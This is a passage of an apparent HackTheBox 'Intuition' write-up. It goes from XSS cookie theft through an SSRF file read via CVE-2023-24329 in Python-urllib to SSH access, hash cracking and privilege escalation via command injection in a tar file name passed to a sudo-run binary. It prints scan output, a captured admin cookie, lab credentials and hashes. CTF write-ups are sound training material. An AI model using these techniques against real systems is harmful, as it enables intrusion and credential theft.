Intuition is a linux hard-difficulty HackTheBox machine dealing initially with an XSS vulnerability that allows us to access an admin dashboard, later abusing CVE-2023–24329 to be able to leverage a file read vulnerability in Python-urllib/3.11 and get system access and user flag. As for root, it deals with abusing an internal binary interacting with ansible through command injection.
PS C:\Users\0xkujen> nmap -A-Pn10.129.158.234 Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-1316:24 W. Central Africa Standard Time NSOCK ERROR [0.2860s] ssl_init_helper(): OpenSSL legacy provider failed to load.
Nmap scan report for10.129.158.234 Host is up (0.21s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 b3a8f75d60e86616ca92f676bab833c2 (ECDSA) |_ 25607ef11a6a07d2b4de868791a7ba7a9cd (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://comprezzor.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 - 5.4 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 993/tcp) HOP RTT ADDRESS 1102.00 ms 10.10.16.1 2204.00 ms 10.129.158.234
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in61.08 seconds
We can see that we have a couple of open ports: 22 for ssh and 80 for http. We can also see that we have a comprezzor.htb domain, so we go ahead and add that entry to our /etc/hosts file.
We now set the cookie we just hijacked and try to access to dashboard:
Cookie manipulation
We can then see that our user adam has the right to change some reports’ priorities: Report manipulation
So here’s the thought process: We submit a report by adam => change the report level to High => admin checks our report => we get the admin cookie. And that is exactly what happened, we got out cookie:
We can now insert the cookie and get our admin panel:
Admin panel
We can now see that we have a PDF creation feature under http://dashboard.comprezzor.htb/create_pdf_report: PDF Creation
We try to listen on what’s actually going on:
PDF Creation
1 2 3 4 5 6 7 8 9 10
PS C:\Users\0xkujen> nc -lvnp4444 listening on [any] 4444 ... connect to [10.10.x.x] from (UNKNOWN) [10.129.158.184] 34502 GET / HTTP/1.1 Accept-Encoding: identity Host: 10.10.x.x:4444 User-Agent: Python-urllib/3.11 Cookie: user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5 Connection: close
We can see that it’s using the user-agent Python-urllib/3.11 which is vulnerable to CVE-2023–24329 .
The concept is that when a URL starts with a blank space, urllib.py parser has some issues. Any domain or protocol filtering method using a block list can be easily bypassed. We can then abuse and SSRF vulnerability, abuse protocols and gain file reading:
CVE-2023–24329
CVE-2023–24329
We can now successfully read files!
Checking currently running commands on the system: CVE-2023–24329
CVE-2023–24329
Let’s now observe the contents of app.py:
CVE-2023–24329
We can see we have an import for import main_bp from blueprints.report.report Let’s then try to check /app/code/blueprints/report/report.py: CVE-2023–24329
We also have another import for blueprints.dashboard.dashboard, let’s then check /app/code/blueprints/dashboard/dashboard.py: CVE-2023–24329
We can see that we have some ftp creds: ftp.login(user='ftp_admin', passwd='u3jai8y71s2')
Since we don’t have any ftp exposed, let’s try to abuse it from our SSRF: CVE-2023–24329
We can see that we have some ssh key and some notes: CVE-2023–24329
Let’s download them and take a look: CVE-2023–24329
We can see that we can login using that passphrase. We obtain the username as a comment: CVE-2023–24329
We can now login as dev_acc user:
1 2 3 4 5 6 7 8 9 10 11 12
kujen@LAPTOP-GEVGOPRU:~$ ssh [email protected] -i id_rsa The authenticity of host 'comprezzor.htb (10.129.158.184)' can't be established. ED25519 key fingerprint is SHA256:++SuiiJ+ZwG7d5q6fb9KqhQRx1gGhVOfGR24bbTuipg. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'comprezzor.htb' (ED25519) to the list of known hosts. Enter passphrase for key 'id_rsa': dev_acc@intuition:~$ id uid=1001(dev_acc) gid=1001(dev_acc) groups=1001(dev_acc) dev_acc@intuition:~$ cat user.txt 7a2afb180e3318****************** dev_acc@intuition:~$
Privilege Escalation
Looking for some database files I stumble upon users.db:
1 2 3 4 5 6 7 8 9 10 11 12
dev_acc@intuition:~$ cd /var/www/app/blueprints/auth/ dev_acc@intuition:/var/www/app/blueprints/auth$ ls auth.py auth_utils.py __pycache__ users.db users.sql dev_acc@intuition:/var/www/app/blueprints/auth$ sqlite3 users.db SQLite version 3.37.2 2022-01-06 13:25:41 Enter ".help"for usage hints. sqlite> .tables users sqlite> select * from users; 1|admin|sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606|admin 2|adam|sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43|webdev sqlite>
We can crack adam‘s hash using this hashcat command:
We can now use those creds to connect to ftp service since we can see that it’s listening on the system:
1 2 3 4 5
dev_acc@intuition:/var/www/app/blueprints/auth$ netstat -anot Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State Timer tcp 0 0 172.21.0.1:21 0.0.0.0:* LISTEN off (0.00/0/0) <snip>
The password is Lopezz1992%123 Let’s now login as lopez and see what we can run as sudo:
1 2 3 4 5 6 7 8 9 10 11 12
lopez@intuition:~$ id uid=1003(lopez) gid=1003(lopez) groups=1003(lopez),1004(sys-adm) lopez@intuition:~$ sudo -l [sudo] password for lopez: Matching Defaults entries for lopez on intuition: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User lopez may run the following commands on intuition: (ALL : ALL) /opt/runner2/runner2 lopez@intuition:~$ sudo /opt/runner2/runner2 Usage: /opt/runner2/runner2 <json_file> lopez@intuition:~$
I will now be attempting to crack the runner auth_key:
ATTENTION! Pure (unoptimized) backend kernels selected. Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits.
Running the /opt/runner2/runner2 will start to extract a tar file if the action provided is install, therefore we can create a json file with our tar file alongside the AUTH_KEY, and injecting a command execution payload in the file name (by renaming it) so that the command gets executed when we run the file. However, we must provide a valid tar compressed file since /usr/bin/ansible-galaxy will be checking the validity of our file. An example valid json file is as follows: